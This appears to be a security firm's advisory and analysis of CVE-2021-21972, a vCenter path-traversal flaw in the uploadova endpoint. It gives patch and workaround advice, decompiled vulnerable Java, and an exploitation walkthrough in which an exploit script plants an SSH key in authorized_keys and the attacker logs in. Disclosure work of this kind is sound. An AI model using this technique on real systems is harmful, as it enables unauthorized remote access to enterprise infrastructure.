CVE-2021-21972: vSphere Vulnerability Analysis

Aaron Portnoy

vSphere Vulnerability - Randori Attack Team

A high severity vulnerability (CVE-2021-21972, CVSS V3 base score – 9.8 CRITICAL) [1] impacting multiple versions of VMware vSphere products was reported privately on Oct 2, 2020 and published on Feb 23, 2021. The vulnerability allows for unauthenticated, remote code execution and is present on default configurations of vCenter.

The Randori Attack Team has developed a proof of concept and been able to demonstrate remote code execution (RCE). The vulnerability is reachable via an HTTP request sent to TCP port 443 and can be reliably exploited. It is Randori’s assessment that this vulnerability is likely to affect a large number of enterprise organizations and poses a high real-world risk for those running vCenter.

In analyzing this vulnerability, Randori has determined the following:

  • Default installations are vulnerable.
  • The vulnerability can be exploited reliably and without authentication.
  • The vulnerability affects both Windows and Linux platforms.
  • The vulnerability yields user-level credentials on Linux.
  • The vulnerability yields administrator credentials on Windows.


This vulnerability requires access to TCP port 443. It is not recommended to expose vCenter to the Internet, thus impact in most scenarios should be limited to exploitation from a local network segment. However, it is currently being reported that more than 6,700 vCenter systems are discoverable via the Internet. 

If exploited, the vulnerability allows a user to execute commands as the vsphere-ui user on Linux and SYSTEM on Windows.


If you believe you may be impacted, upgrading to the patched versions of VMware ESXi and vCenter Server (7.0 U1c, 6.7 U3l, and 6.5 U3n) will eliminate this vulnerability. Randori recommends any organization that believes they may be impacted to update to a patched version urgently. 

If you are unable to patch, but you are able to trigger this vulnerability in your application, you can limit the reachability by following the workarounds listed in VMware KB7632.

Organizations running Randori Recon can check their current exposure by viewing the Services page to see if any impacted versions of vSphere have been detected on their perimeter. 


The vulnerability is contained within the uploadova function of the vRealize Operations Manager plugin which is exposed via following URL:


The uploadova function is defined in the vropsplugin-service.jar file that resides on a Linux vCenter installation at the following location:


The class file within that JAR that contains the vulnerability is:


Decompiling the ServicesController.class file yields the following (trimmed) Java code:

    @RequestMapping(value = { "/uploadova" }, method = { RequestMethod.POST })
    public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) final CommonsMultipartFile uploadFile, final HttpServletResponse response) 
                final InputStream inputStream = uploadFile.getInputStream();
                final File dir = new File("/tmp/unicorn_ova_dir");
                final TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
                TarArchiveEntry entry2 = in.getNextTarEntry();
                final List result = new ArrayList();
                while (entry2 != null) {
                    if (entry2.isDirectory()) {
                        entry2 = in.getNextTarEntry();
                    else {
                        final File curfile = new File("/tmp/unicorn_ova_dir", entry2.getName());
                        final File parent = curfile.getParentFile();
                        if (!parent.exists()) {
                        final OutputStream out = new FileOutputStream(curfile);
                        IOUtils.copy((InputStream)in, out);
                        entry2 = in.getNextTarEntry();

This code accepts a TAR file from the HTTP client’s POST request and attempts to extract it to the directory /tmp/unicorn_ova_dir. The vulnerability manifests due to the fact that there are no checks made to ensure embedded file paths within the TAR do not constitute a directory traversal attempt.

By providing a file inside a TAR file with an internal path name containing five ../ sequences, the code will allow for writing a file relative to the root of the filesystem.

Randori constructed an exploit for vCenter on Linux that uploads a public SSH key to the remote host and then uses the private SSH key to log in, a technique first demonstrated in a post by the original vulnerability discoverer:

 $ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/user/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./
The key fingerprint is:
SHA256:LvxBltXtKp44dlnissGxlh83wgIs/Y3MpNaDdE1Wbzk deft@dev

$ cp authorized_keys

$ python3 --help
usage: [-h] -s SERVER [-c] [-l LOCAL] [-r REMOTE]

optional arguments:
  -h, --help            show this help message and exit
  -s SERVER, --server SERVER
                        Host/IP of the target server
  -c, --check           If specified, only check if vulnerable 
                        endpoint is reachable
  -l LOCAL, --local LOCAL
                        The path to the local file to transfer
  -r REMOTE, --remote REMOTE
                        The remote path to write the file

$ python3 -s vcenter_host --local authorized_keys --remote /home/vsphere-ui/.ssh/authorized_keys
+ Creating malicious tar file
+ Successfully uploaded file

$ ssh -i ./id_rsa vsphere-ui@vcenter_host

VMware vCenter Server

Type: vCenter Server with an embedded Platform Services Controller

vsphere-ui@vcenter [ ~ ]$ id ; uname -a
uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)
Linux vcenter_host 4.19.115-1.ph3 #1-photon SMP Tue Apr 21 18:56:03 UTC 2020 x86_64 GNU/Linux
vsphere-ui@vcenter [ ~ ]$

Further Information